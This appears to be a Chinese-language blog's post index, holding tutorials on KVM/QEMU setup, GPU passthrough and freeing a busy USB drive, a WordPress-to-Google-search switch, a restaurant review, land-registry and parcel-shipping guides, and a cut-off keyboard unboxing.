DMAR: Setting identity map for device 0000:00:1a.2 [0xcbeeb800 - 0xcbefffff] [ 0.761229] DMAR: Setting identity map for device 0000:00:1a.7 [0xcbeeb800 - 0xcbefffff] [ 0.761317] DMAR: Setting identity map for device 0000:00:1d.0 [0xcbeeb800 - 0xcbefffff] [ 0.761411] DMAR: Setting identity map for device 0000:00:1d.1 [0xcbeeb800 - 0xcbefffff] [ 0.761501] DMAR: Setting identity map for device 0000:00:1d.2 [0xcbeeb800 - 0xcbefffff] [ 0.761597] DMAR: Setting identity map for device 0000:00:1d.7 [0xcbeeb800 - 0xcbefffff] [ 0.761611] DMAR: Setting identity map for device 0000:00:1a.0 [0xe4000 - 0xe87ff] [ 0.761620] DMAR: Setting identity map for device 0000:00:1a.1 [0xe4000 - 0xe87ff] [ 0.761629] DMAR: Setting identity map for device 0000:00:1a.2 [0xe4000 - 0xe87ff] [ 0.761638] DMAR: Setting identity map for device 0000:00:1a.7 [0xe4000 - 0xe87ff] [ 0.761647] DMAR: Setting identity map for device 0000:00:1d.0 [0xe4000 - 0xe87ff] [ 0.761656] DMAR: Setting identity map for device 0000:00:1d.1 [0xe4000 - 0xe87ff] [ 0.761665] DMAR: Setting identity map for device 0000:00:1d.2 [0xe4000 - 0xe87ff] [ 0.761675] DMAR: Setting identity map for device 0000:00:1d.7 [0xe4000 - 0xe87ff] [ 0.761685] DMAR: Prepare 0-16MiB unity mapping for LPC [ 0.761766] DMAR: Setting identity map for device 0000:00:1f.0 [0x0 - 0xffffff] [ 0.761908] DMAR: Intel(R) Virtualization Technology for Directed I/O 檢查 VFIO 是否正常運作：\n# 檢查 VFIO 是否正常運作 dmesg | grep -i vfio [ 3.654698] VFIO - User Level meta-driver version: 0.3 [ 3.662792] vfio-pci 0000:0e:00.0: vgaarb: changed VGA decodes: olddecodes=io+mem,decodes=io+mem:owns=io+mem [ 3.680043] vfio_pci: add [10de:1c03[ffff:ffff]] class 0x000000/00000000 [ 3.700189] vfio_pci: add [10de:10f1[ffff:ffff]] class 0x000000/00000000 建立虛擬機器 建立 VM 用的硬碟檔案：\n# 建立 VM 用的硬碟檔案（遠端主機） sudo qemu-img create -f qcow2 /home/seal/kvm/ubuntu1804.qcow2 20G 接著再建立虛擬機器，並以 --host-device 指定要加入的 PCI 硬體 ID：\n# 在 VM 中安裝 Ubuntu Linux 18.04（遠端主機） sudo virt-install --virt-type kvm --name ubuntu1804 --vcpu 2 --ram 4096 --disk /home/seal/kvm/ubuntu1804.qcow2,format=qcow2 --network network=default --graphics vnc,listen=0.0.0.0,password=YOUR_PASSWORD --noautoconsole --os-type=linux --os-variant=ubuntu17.10 --cdrom=/home/seal/ubuntu-18.10-desktop-amd64.iso --host-device 0e:00. --host-device 0e:00.1 --features kvm_hidden=on 在 VM 中就可以使用 lspci 看到 NVIDIA 的 GPU 顯示卡了：\nlspci | grep NVIDIA 接著要想辦法讓 VM 中的這張顯示卡可以正常運作，但是我最近太忙了，剩下的以後再補。\n常見問題 如果安裝虛擬機器時出現這樣的錯誤訊息：\nERROR internal error: qemu unexpectedly closed the monitor: 2018-12-28T05:40:04.939376Z qemu-system-x86_64: -device vfio-pci,host=0e:00.0,id=hostdev0,bus=pci.0,addr=0x6: vfio error: 0000:0e:00.0: failed to setup container for group 26: failed to set iommu for container: Operation not permitted 請參考 Proxmox 的說明，檢查 IOMMU 中斷映射問題。\n# 使用 unsafe interrupts（僅供參考） echo \u0026#34;options vfio_iommu_type1 allow_unsafe_interrupts=1\u0026#34; \u0026gt; /etc/modprobe.d/iommu_unsafe_interrupts.conf 參考資料 ITzGeek nixCraft nixCraft Polyarniy Nikolay MathiasHueber davidyat.es Puget Systems Heiko\u0026rsquo;s Blog Ubuntu 中文論壇 Server World Proxmox Cale Rogers ggaaooppeenngg agisoft-llc ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-kvm-qemu-gpu-passthrough-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Ubuntu Linux 系統上，安裝 KVM/QEMU 虛擬機器，並設定讓虛擬機器可以使用 GPU 顯示卡繪圖。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"硬體虛擬化\"\u003e硬體虛擬化\u003c/h2\u003e\n\u003cp\u003eKVM 必須依賴 CPU 硬體虛擬化的功能，所以在安裝 KVM 之前，要先檢查一下自己的 CPU 是否支援 Intel VT 或 AMD-V：\u003c/p\u003e","title":"KVM/QEMU 虛擬機器設定 GPU Passthrough 記錄"},{"content":"這裡介紹在 Linux 中卸載（unmount）USB 隨身碟時，若出現 Volume is busy 的訊該如何解決。\n在 Linux 系統上，當 USB 隨身碟使用完要準備拔除的時候，都要先進行卸載（unmount）的動作，而有時候在執行卸載動作時，會出現「Volume is busy」的訊息，無法順利卸載 USB 隨身碟。\n以下介紹該如何處理這樣的狀況。\n查詢使用掛載路徑的行程 通常出現無法順利卸載 USB 隨身碟的狀況，都是因為系統上還有某個行程正在使用該 USB 隨身碟，我們可以利用 fuser 指令查詢是哪個行程正在使用它：\n# 查詢使用掛載路徑的行程 fuser -m /media/seal/TS8G /media/seal/TS8G: 3567 知道行程的 PID 之後，再用 ps 查出行程的指令名稱：\n# 以 PID 查詢行程的指令 ps -xq 3567 PID TTY STAT TIME COMMAND 3567 tty2 Sl+ 0:28 nautilus-desktop 查出來的結果顯示目前正在使用 USB 隨身碟的就是 nautilus-desktop 這個程式。\n強制中止使用隨身碟的行程 若是想要強制中止使用 USB 隨身碟的行程，可以使用 kill 指令，並指定要強制中止的 PID：\n# 強制中止指定行程 kill -9 3567 或是使用 fuser 配合 -k 參數，強制中止正在使用指定掛載位置的行程：\n# 中止正在使用指定位置的行程 fuser -m -v -i -k /media/seal/TS8G 執行之後它會詢問是否要強制中止指定的行程，選擇 y 即可將正在使用 USB 隨身碟的行程砍掉。\n參考資料 Tsung’s Blog ","permalink":"https://blog.gtwang.org/linux/linux-unmount-usb-drive-volume-is-busy-solution/","summary":"\u003cp\u003e這裡介紹在 Linux 中卸載（unmount）USB 隨身碟時，若出現 Volume is busy 的訊該如何解決。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上，當 USB 隨身碟使用完要準備拔除的時候，都要先進行卸載（unmount）的動作，而有時候在執行卸載動作時，會出現「Volume is busy」的訊息，無法順利卸載 USB 隨身碟。\u003c/p\u003e","title":"Linux 卸載 USB 隨身碟出現 Volume is busy 解決方法教學"},{"content":"本篇介紹如何在 KVM/QEMU 的環境下，遠端以 virt-install 指令建立虛擬機器，透過 VNC 的方式顯示 VM 畫面。\n若想要在 KVM/QEMU 虛擬機器環境中安裝並運行作業系統，最簡單的方式就是使用 Virtual Machine Manager 的視窗操作介面來安裝並執行虛擬機器，但是如果我們需要透過 SSH 登入到遠端的機器上建立虛擬機器的話，有時候就會需要使用指令的方式來操作，以下是使用 virt-install 安裝虛擬機器，並以 virsh 運行虛擬機器的步驟。\n建立虛擬機器 安裝虛擬機器之前，要先建立一個要給虛擬機器用的虛擬磁碟檔案：\n# 建立 VM 用的硬碟檔案（遠端主機） sudo qemu-img create -f qcow2 /home/seal/kvm/ubuntu1804.qcow2 20G 接著使用 virt-install 將作業系統安裝到剛剛建立好的虛擬磁碟檔案中，以下是安裝 Ubuntu Linux 18.04 的例子：\n# 在 VM 中安裝 Ubuntu Linux 18.04（遠端主機） sudo virt-install --virt-type kvm --name ubuntu1804 --ram 2048 --disk /home/seal/kvm/ubuntu1804.qcow2,format=qcow2 --network network=default --graphics vnc,listen=0.0.0.0,password=YOUR_PASSWORD --noautoconsole --os-type=linux --os-variant=ubuntu17.10 --cdrom=/home/seal/Downloads/ubuntu-18.10-desktop-amd64.iso 這裡我們使用 --graphics 參數指定使用 VNC 的方式顯示畫面，並讓 VNC 伺服器傾聽所有的 IP 位址，並設定密碼。\n--os-type 是指定作業系統類型（可為 linux 或 windows），而 --os-variant 則是更詳細的作業系統資訊，可用的選項可以使用 osinfo-query 指令查詢：\n# 查詢 --os-variant 可用的選項（遠端主機） osinfo-query os | grep ubuntu 執行了 virt-install 之後，即可使用 virsh vncdisplay 查詢這台 VM 所開啟的 VNC 連接埠：\n# 查看 VNC 連接埠（遠端主機） virsh vncdisplay ubuntu1804 :0 通常 CentOS Linux 都有防火牆，若是測試用的機器建議可以把防火牆關閉，方便測試：\n# 關閉防火牆（遠端主機） sudo systemctl stop firewalld 假設遠端主機的 IP 位址是 192.168.0.3，則我們就可以在本地端使用 vncviewer 以 VNC 的方式連到該 VM：\n# 開啟 VNC Viewer（本地端） vncviewer 192.168..3: 如果是比較正式的機器，可以建立 SSH 安全加密通道，將遠端機器的 5900 連接埠導向至本地端的 5900 連接埠：\n# 建立 SSH 安全加密通道（本地端） ssh -NL 5900:localhost:5900 seal@192.168..3 然後再以 vncviewer 開啟本地端的 5900 連接埠：\n# 開啟 VNC Viewer（本地端） vncviewer localhost: 接著就可以按照正常的方式安裝 Ubuntu Linux 作業系統：\n安裝完成後，查看一下目前所有的 VM：\n# 列出所有 VM（遠端主機） virsh list --all Id 名稱 狀態 ---------------------------------------------------- - ubuntu1804 關機 使用 virsh start 將指定的 VM 開機：\n# 啟動 VM（遠端主機） virsh start ubuntu1804 區域 ubuntu1804 已開啟 這樣就可以開始使用 Ubuntu Linux 系統了。\n如果要遠端在 VM 中安裝 Windows 作業系統，流程都差不多，只要更換一下 ISO 檔案，更改 OS 的類型設定即可：\n# 建立 VM 用的硬碟檔案（遠端主機） sudo qemu-img create -f qcow2 /home/seal/kvm/windows10.qcow2 20G # 在 VM 中安裝 Windows 10（遠端主機） sudo virt-install --virt-type kvm --name windows10 --ram 2048 --disk /home/seal/kvm/windows10.qcow2,format=qcow2 --network network=default --graphics vnc,listen=0.0.0.0,password=YOUR_PASSWORD --noautoconsole --os-type=windows --os-variant=win10 --cdrom=/home/seal/Downloads/Win10_1809Oct_Chinese_x64.iso 接著按照正常方式安裝 Windows 10 作業系統：\n安裝完成後，啟動該 VM：\n# 啟動 VM（遠端主機） virsh start windows10 區域 windows10 已開啟 這樣就完成了。\n參考資料 Red Hat csdn nixCraft ","permalink":"https://blog.gtwang.org/linux/kvm-qemu-virt-install-command-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 KVM/QEMU 的環境下，遠端以 \u003ccode\u003evirt-install\u003c/code\u003e 指令建立虛擬機器，透過 VNC 的方式顯示 VM 畫面。\u003c/p\u003e\n\u003cp\u003e若想要在 KVM/QEMU 虛擬機器環境中安裝並運行作業系統，最簡單的方式就是\u003ca href=\"/linux/centos-7-install-kvm-qemu-virtual-machine-tutorial/\"\u003e使用 Virtual Machine Manager 的視窗操作介面來安裝並執行虛擬機器\u003c/a\u003e，但是如果我們需要透過 SSH 登入到遠端的機器上建立虛擬機器的話，有時候就會需要使用指令的方式來操作，以下是使用 \u003ccode\u003evirt-install\u003c/code\u003e 安裝虛擬機器，並以 \u003ccode\u003evirsh\u003c/code\u003e 運行虛擬機器的步驟。\u003c/p\u003e","title":"KVM/QEMU 以 virt-install 指令建立虛擬機器、VNC 顯示畫面教學"},{"content":"本篇介紹如何在 CentOS Linux 7 的系統之下，安裝 KVM/QEMU 虛擬機器環境，在 VM 中運行各種不同的作業系統。\nKVM 是一套以 Linux 核心為基礎的虛擬機器架構，採用開放原始碼的授權，通常會搭配 QEMU 與 libvirt 一起使用，KVM 負責存取 CPU 與記憶體，QEMU 負責模擬其他硬體資源（例如硬碟、網路、顯示卡、USB 設備等），而 libvirt 則提供一個統一的操作的介面，可用於管理虛擬機器、Daemon、儲存與網路等。\n以下是在 CentOS Linux 7.6 之下，安裝 KVM/QEMU 虛擬機器環境，並在 VM 中運行 Ubuntu Linux 與 Windows 系統的步驟。\nCPU 硬體虛擬化 KVM 的執行必須仰賴 Intel VT 或 AMD-V 這兩種 CPU 硬體虛擬化功能，若在 Linux 中想要檢查自己的 CPU 是否有開啟這個功能，可以查看 /proc/cpuinfo 中是否有 vmx 或 svm 這兩個關鍵字：\n# 檢查 CPU 是否支援硬體虛擬化 grep -E \u0026#39;(vmx|svm)\u0026#39; /proc/cpuinfo flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm epb ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms xsaveopt dtherm arat pln pts spec_ctrl intel_stibp flush_l1d 如果查出來沒有硬體虛擬化功能的話，有可能是因為在 BIOS 中沒有啟用，可以嘗試去 BIOS 中找一下。\n安裝 KVM 使用 yum 安裝 KVM 相關套件：\n# 安裝 KVM 相關套件 sudo yum install qemu-kvm qemu-img virt-manager libvirt libvirt-python libvirt-client virt-install virt-viewer bridge-utils 將 SELinux 關閉，編輯 /etc/sysconfig/selinux 設定檔，將 SELinux 修改為 disabled：\n# SELinux=enforcing SELinux=disabled 重新開機，讓 SELinux 設定生效，並載入 kvm 核心模組：\n# 重新開機 reboot 重新開機之後，檢查 kvm 核心模組是否有被載入\n# 檢查 kvm 核心模組是否有被載入 lsmod | grep kvm kvm_intel 183621 0 kvm 586948 1 kvm_intel irqbypass 13503 1 kvm 啟動 libvirtd 服務：\n# 啟動 libvirtd 服務 sudo systemctl start libvirtd 設定開機自動啟動 libvirtd 服務：\n# 設定開機自動啟動 libvirtd 服務 sudo systemctl enable libvirtd Virtual Machine Manager 安裝好 KVM、QEMU 與 libvirt 之後，接著就可以開始建立虛擬機器了。\n建立虛擬機器的方式有很多種，最簡單的方式就是使用 Virtual Machine Manager，透過圖形化的操作介面來建立虛擬機器。\n# 執行 Virtual Machine Manager sudo virt-manager 使用 root 管理者權限執行 Virtual Machine Manager 之後，就會開啟圖形介面的虛擬機器管理員視窗。\n以下是使用 Virtual Machine Manager 建立虛擬機器的步驟。\nStep 1\n在 Virtual Machine Manager 主視窗中，選擇「File」中的「New Virtial Machine」（或是點選工具列中的新增虛擬機器按鈕），開啟新增虛擬機器的視窗。\nStep 2\n選擇安裝媒體，最常見的方式就是使用 ISO 檔或 CDROM 來安裝。\nStep 3\n選擇安裝作業系統用的 ISO 檔案所在位置。\nStep 4\n設定 CPU 核心數量以及記憶體大小。\nStep 5\n設定硬碟大小，預設的硬碟影像檔會放在 /var/lib/libvirt/images。\n如果預設的位置沒有足夠的空間，也可以選擇在別處自行建立 qcow2 的映像檔。\n自行建立好 qcow2 映像檔後，即可指定給新的虛擬機器使用。\nStep 6\n設定 VM 名稱，同時亦可調整網路設定。\n網路設定預設是使用 NAT，也就是說 VM 可以上網，但是外部的電腦無法連進來，如果想要讓外部的連線以進入，就要改用橋接器（bridge）的設定。 Step 7\nVM 使用指定的安裝 ISO 檔案開機之後，按照一般的方式安裝作業系統。\n在 Virtual Machine Manager 的視窗中，可以查看各 VM 的 CPU 使用量。\n這是在 CentOS Linux 7 桌面上使用 KVM/QEMU 運行 Ubuntu Linux 的畫面。\n安裝完成後即可使用新的 VM 了。\n在預設的 NAT 網路環境中，VM 會以 DHCP 的方式取得 192.168.122.1/24 網段的 IP 位址，直接透過 host OS 的網路上網，對於普通的系統測試來說，這種網路環境設定是最方便的。\n在 KVM/QEMU 虛擬機器設定的視窗中，可以自由調整 VM 的各項細部設定值，例如 CPU、記憶體、網路、顯示卡等各種硬體設備，都可以在這裡更改。\n如果要安裝 Windows 10 作業系統，只要將安裝的 ISO 檔案改為 Windows 10 的安裝 ISO 檔即可，其餘的設定步驟都相同。\n安裝完成之後，即可使用 VM 中的 Windows 10 作業系統了。\n參考資料 LinuxTechi jaywcjlove lijyyh.com ","permalink":"https://blog.gtwang.org/linux/centos-7-install-kvm-qemu-virtual-machine-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 CentOS Linux 7 的系統之下，安裝 KVM/QEMU 虛擬機器環境，在 VM 中運行各種不同的作業系統。\u003c/p\u003e\n\u003cp\u003eKVM 是一套以 Linux 核心為基礎的虛擬機器架構，採用開放原始碼的授權，通常會搭配 QEMU 與 libvirt 一起使用，KVM 負責存取 CPU 與記憶體，QEMU 負責模擬其他硬體資源（例如硬碟、網路、顯示卡、USB 設備等），而 libvirt 則提供一個統一的操作的介面，可用於管理虛擬機器、Daemon、儲存與網路等。\u003c/p\u003e","title":"CentOS 7 安裝 KVM/QEMU 虛擬機器教學"},{"content":"一嘉一素食園位於台北 101 世貿捷運站附近，有煎餃、各式拉麵、臭豆腐、湯品與小菜。\n這週我出差去台北 101 旁邊的世貿展覽館參展，中午要在附近找素食餐館用餐，那附近剛好有一家一嘉一素食園，也就是原來的客來源素坊（北醫店），之前常去捷運古亭站的客來源素坊用餐，一直以來都很滿意，這次就決定來這一家吃吃看。\n店名：一嘉一素食園\n地址：台北市信義區莊敬路 268 號（近世貿、101 大樓）\n電話：(02) 2758-5183\n營業時間：中午 11：00 ～ 14：30\n晚上 17：00 ～ 20：00\n網站：facebook 粉絲專頁\n一嘉一素食園位於信義區的莊敬路上，如果從台北 101 大樓（世貿展覽館）走路過來，大約只要十分鐘左右，還算方便。\n一嘉一素食園門口有一些座位，裡面也有不少。\n這是一嘉一素食園的菜單，煎餃與拉麵是這家店的特色，我是感覺都很好吃。\n這是店內的用餐區，餐具自取，還有電視可以看。（另外一側還有一些座位，不過我來用餐的時候都坐滿人了，不好意思拍人家用餐）\n今天中午我點了一盤煎餃，配上一碗泰式酸辣湯，這樣總共是 105 元。\n煎餃一盤是 8 個，搭配一碟特製的沾醬。\n他們的煎餃做的很好吃，我看許多人來這邊都會點這一道。\n這一碟煎餃的沾醬裡面有加香椿，味道很特別。\n這一碗是泰式酸辣湯，很適合天氣冷的時候喝。\n裡面的料非常多。\n","permalink":"https://blog.gtwang.org/life/yijiayi-vegetarian-restaurant-mrt-taipei-101-world-trade-center-2018/","summary":"\u003cp\u003e一嘉一素食園位於台北 101 世貿捷運站附近，有煎餃、各式拉麵、臭豆腐、湯品與小菜。\u003c/p\u003e\n\u003cp\u003e這週我出差去台北 101 旁邊的世貿展覽館參展，中午要在附近找素食餐館用餐，那附近剛好有一家一嘉一素食園，也就是原來的客來源素坊（北醫店），之前常去\u003ca href=\"/life/kelaiyuan-vegetarian-restaurant-mrt-guting-taipei/\"\u003e捷運古亭站的客來源素坊\u003c/a\u003e用餐，一直以來都很滿意，這次就決定來這一家吃吃看。\u003c/p\u003e","title":"[台北素食] 一嘉一素食園：煎餃、拉麵、臭豆腐，近台北 101 世貿捷運站"},{"content":"本篇介紹如何使用全國地政電子謄本系統，透過網路申請與下載地籍圖、土地及建物登記謄本等不動產資料。\n如果想要申請地籍圖、土地及建物登記謄本等不動產資料，以前都要跑一趟地政事務所臨櫃辦理，而現在只要透過 Hinet 地政服務網頁，直接在線上就可以直接申請謄本的電子檔，而且申請後馬上即可取件，既快速又方便。\n中華電信 Hinet 帳號與密碼 若想要透過 Hinet 地政服務的網頁申請地籍圖、土地及建物登記謄本等資料，首先要選擇一種付費方式，最方便的方式就是直接使用 Hinet 寬頻上網用的 HN 帳號與密碼登入網頁，這樣謄本申請的費用就會直接併入 Hinet 的帳單中，不用再處理繳費的手續，非常方便。\n這張就是中華電信 Hinet ADSL 寬頻上網用的 HN 客戶號碼與密碼卡，只要是有申辦 Hinet ADSL（或光纖）上網的人應該都會有一張，有了這組帳號密碼，就可以直接在線上申請地政資料了。\n如果不是 Hinet 的用戶，也可以考慮改用 Hinet 點數卡的方式付費。\n全國地政電子謄本系統 準備好 Hinet 的 HN 帳號與密碼之後，就可以開始上網申請地政資料了。\nStep 1\n開啟 Hinet 地政服務的網頁，點選左邊選單中「電子謄本系統」的入口連結。\nStep 2\n在左側的選單中，點選「Hinet 帳號登入」。\nStep 3\n輸入 Hinet 上網用的 HN 帳號與密碼。\nStep 4\n第一次使用時，會調查使用者的行業別，普通人就選擇一般民眾即可。\nStep 5\n點選左側選單中的「謄本申請作業」。\nStep 6\n選擇要申請的地籍資料所在的縣市。這個是全國的地政資料庫，可以申請全台灣各地的地政資料。\nStep 7\n選擇鄉鎮市區等行政區。\nStep 8\n填寫細部的地政資料申請單。\n如果是自己去申請的，委託人的部分就不用填。\n申請類型就自己依照需求調整，最常見的申請類型就是第二類謄本，這類的謄本是任何人都可以申請的，個人資料的部分會被隱藏。\n最後填入地號、建號等資訊，再勾選想要申請的謄本，按下「新增資料」之後，再送出即可。\nStep 9\n送出之後，可點選「謄本申請進度查詢」，查看申請的進度。\nStep 10\n通常等個幾十秒之後，就可以下載剛剛申請的謄本資料了。\n在實際下載之前，都不會計費，如果不小心申請錯誤的資料，在這裡也可以取消。\nStep 11\n在預覽或是下載之前，會出現確認付費的確認訊息，如果確定資料無誤，就可以點選「確定付費」，開始預覽並下載謄本的電子檔。\n在預覽的視窗中，就可以直接下載土地登記謄本的 PDF 電子檔。\n地籍圖同樣也可以下載 PDF 電子檔。\n地籍圖的 PDF 檔案是向量圖檔，不是掃描的圖檔，所以放大也不會失真，品質非常好。\nHinet 地政服務的功能相當豐富，關於各項服務的使用方式，請參考Hinet 地政服務的系統操作說明。\n","permalink":"https://blog.gtwang.org/life/online-apply-for-electronic-cadastral-copy-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用全國地政電子謄本系統，透過網路申請與下載地籍圖、土地及建物登記謄本等不動產資料。\u003c/p\u003e\n\u003cp\u003e如果想要申請地籍圖、土地及建物登記謄本等不動產資料，以前都要跑一趟地政事務所臨櫃辦理，而現在只要透過 Hinet 地政服務網頁，直接在線上就可以直接申請謄本的電子檔，而且申請後馬上即可取件，既快速又方便。\u003c/p\u003e","title":"線上申請地籍圖、土地登記謄本，全國地政電子謄本使用教學"},{"content":"本篇記錄我的網站疑似遭受 DDOS 的騷擾，將 WordPress 的內建搜尋功能關閉，改用 Google 自訂搜尋引擎的過程紀錄。\n最近發現 G. T. Wang 網站的伺服器有時候突然會有的異常增加的 CPU 使用率與硬碟 IO，在系統上查了老半天，看不出有什麼異狀，後來觀察 PHP-FPM 服務狀態，發現是有人刻意使用惡意程式，瞬間同時送出多個 WordPress 搜尋的請求，造系統負載驟增的現象。\n接著為了釐清到底是怎麼回事，我從 Nginx 網頁伺服器的紀錄檔案中篩出所有 WordPress 搜尋的請求紀錄，發現這些同時送出的請求都是來自於兩個很接近的 Class C 網域，所很明顯就是人為發動的 DDOS 攻擊：\n# 查閱 Nginx 紀錄檔 zcat access.log-20181117.gz | grep \u0026#39;GET /?s=\u0026#39; | cut -c 1-120 這個疑似 DDOS 攻擊的流量很小，幾乎不影響我的系統服務，只是從監控報表上非常顯眼，放著不處理的話感覺又不放心，所以決定直接把 WordPress 內建的搜尋功能關閉，改用 Google CSE 自訂搜尋引擎來提供搜尋功能。\n關閉 WordPress 搜尋功能 WordPress 本身就有內建搜尋功能，如果想要將搜尋功能關閉，不讓訪客使用的話，建議可以安裝 Disable Search 外掛，安裝這個外掛工具之後，就可以完全關閉網站的搜尋功能，避免被 DDOS 的風險。\nGoogle 自訂搜尋引擎 關閉 WordPress 的搜尋功能之後，如果還是想要讓訪客可以尋找網站中的資料，可以改用 Google 所提供的自訂搜尋引擎服務。\nStep 1\n到 Google 自訂搜尋引擎的網頁上註冊，點選「Add」新增一個搜尋引擎。\nStep 2\n自訂適用於自己網站的搜尋引擎，填寫要搜尋的網站（通常就是自己的網站）、語言，然後自訂這個搜尋引擎的名稱。\nStep 3\n點選「取得程式碼」。\nStep 4\n將 Google 自訂搜尋引擎的程式碼複製下來。\nStep 5\n在 WordPress 「外觀」的「小工具」設定頁面中，新增一個「自訂 HTML」小工具，然後把 Google 自訂搜尋引擎的程式碼貼上去，這樣就完成 Google 自訂搜尋引擎的設定了。\n改用 Google 自訂搜尋引擎之後，網頁的版面通常影響不大，看起來就是標準的搜尋框。\nGoogle 自訂搜尋再輸入關鍵字的時候，還會自動給出建議的字詞，這個功能是普通 WordPress 搜尋功能所沒有的。\n這是搜尋結果的呈現頁面，在 Google 自訂搜尋引擎的設定頁面中，使用者也可以自由更改結果的呈現版面配置，以及文字與顏色等樣式，讓搜尋引擎的版面可以符合原來網站的風格。\n改用 Google 自訂搜尋引擎最大的好處就是可以完全避免掉 WordPress 搜尋功能給系統帶來的風險，減輕自己系統的負載，另外如果網站有使用 Google 的 AdSense 廣告在獲取收益的話，在 Google 自訂搜尋引擎頁面中的廣告，也可以算在自己的收益之內，所以改用 Google 自訂搜尋引擎我感覺確實是不錯的做法。\n","permalink":"https://blog.gtwang.org/wordpress/wordpress-disable-search-function-use-google-cse/","summary":"\u003cp\u003e本篇記錄我的網站疑似遭受 DDOS 的騷擾，將 WordPress 的內建搜尋功能關閉，改用 Google 自訂搜尋引擎的過程紀錄。\u003c/p\u003e\n\u003cp\u003e最近發現 G. T. Wang 網站的伺服器有時候突然會有的異常增加的 CPU 使用率與硬碟 IO，在系統上查了老半天，看不出有什麼異狀，後來觀察 PHP-FPM 服務狀態，發現是有人刻意使用惡意程式，瞬間同時送出多個 WordPress 搜尋的請求，造系統負載驟增的現象。\u003c/p\u003e","title":"WordPress 關閉內建搜尋，改用 Google 自訂搜尋引擎"},{"content":"本篇介紹如何在家上網填寫 ibon 交貨便店到店寄件單，省去在 7-ELEVEN 現場輸入資料的麻煩。\n7-ELEVEN 交貨便店到店的寄件服務運費只要 60 元，二十四小時都可以寄件，是一項非常方便服務。\n在使用 7-ELEVEN 交貨便寄件時，除了在 7-ELEVEN 使用 ibon 輸入資料之外，也可以在家上網先把資料填好，這樣去到 7-ELEVEN 就只要列印寄件單就可以寄出了，省去站在 ibon 前面輸入資料的麻煩。\n7-ELEVEN 交貨便線上寄件 Step 1\n開啟 7-ELEVEN 交貨便線上寄件的網頁，點選「我要寄件」。\nStep 2\n接著會顯示寄件的注意事項，建議稍微看一下，例如寄件與取件的時間，還有箱子的大小限制等，這裡都有寫。\n看完之後，拉到網頁的最下方。\nStep 3\n點選「我已了解並同意」。\nStep 4\n輸入包裹價值，如果包裹遺失的話，就會依照這個價值賠償。\nStep 5\n輸入寄件人資料，手機與姓名是一定要填寫的欄位，而 Email 與退貨門市則可以省略。\nStep 6\n輸入收件人資料，手機、姓名與取件門市一定要填寫，Email 可省略。\nStep 7\n取件門市的選擇方式有好幾種，最基本的方式就是從地址來選擇。\n在 7-ELEVEN 的發票上面都會標示該門市的名稱與店號，若知道門市的名稱或店號，就可以使用名稱或店號來搜尋，這樣會比用地址更方便也更快速。\n使用門市店號來搜尋是最精準的，不過一定要知道六碼的門市代號才行。\nStep 8\n接著會出現取貨需要證件的提醒，所以寄件人與收件人的資料一定要填寫正確，否則會無法取件。\nStep 9\n確認寄件人與收件人的資料是否正確。\n如果沒問題就可以點選「馬上列印」使用自己的印表機把寄件單印出來，而如果自己沒有印表機的話，也可以點選「7-ELEVEN ibon 列印」，產生交貨便代碼之後，去 7-ELEVEN 用 ibon 列印寄件單。\n馬上列印 如果點選「馬上列印」的話，就會產生交貨便的服務單，然後點選「顯示交貨便服務單」。\n使用印表機將這張寄件單列印出來（可以按下 Ctrl + P 快速鍵直接列印），然後到 7-ELEVEN 拿一張交貨便的塑膠套袋，把寄件單貼在包裹上，就可以到櫃檯結帳寄出包裹了。\n7-ELEVEN ibon 列印 如果選擇「7-ELEVEN ibon 列印」的話，就會產生一組交貨便服務代碼，只要把這組代碼記下來，就可以直接去 7-ELEVEN 用 ibon 把寄件單列印出來了。 Step 1\n記下交貨便服務代碼。\nStep 2\n到了 7-ELEVEN，找到 ibon 的服務機。\nStep 3\n使用代碼列印寄件單的話，一開始的操作過程跟普通的 ibon 交貨便寄件 相同，只不過在選擇服務項目的時候，要選擇「代碼輸入」。\nStep 4\n輸入剛剛網頁上的那一組交貨便代碼。\nStep 5\n然後接著後續的操作，就可以將寄件單印出來了。\nStep 6\n拿取一張交貨便的塑膠套袋，通常在 ibon 下方就有可以拿。\nStep 7\n將寄件單放入交貨便塑膠套袋，貼在包裹上，這樣就可以去櫃台結帳並寄出了。\n","permalink":"https://blog.gtwang.org/life/7-eleven-online-ibon-jiao-huo-bian-tutorial/","summary":"\u003cp\u003e本篇介紹如何在家上網填寫 ibon 交貨便店到店寄件單，省去在 7-ELEVEN 現場輸入資料的麻煩。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/life/7-eleven-ibon-jiao-huo-bian-tutorial/\"\u003e7-ELEVEN 交貨便店到店的寄件服務\u003c/a\u003e運費只要 60 元，二十四小時都可以寄件，是一項非常方便服務。\u003c/p\u003e","title":"7-ELEVEN 線上填寫 ibon 交貨便店到店寄件單教學"},{"content":"本篇是羅技 Logitech MK345 無線滑鼠鍵盤組的簡單開箱文。\n以前無線鍵盤與滑鼠剛出來的時候，我因為懶得換電池，所以都一直不太喜歡用，不過後來的發現有了省電的設計之後，好像也不太需要常換電池，所以就買來用用看，感覺確實比有線的鍵盤與滑鼠更好用。\n這是羅技 Logitech MK345 無線滑鼠鍵盤組的外盒。\n這一組無線鍵盤與滑鼠是超省電的設計，鍵盤可以用 4 年，而滑鼠則是可以用 18 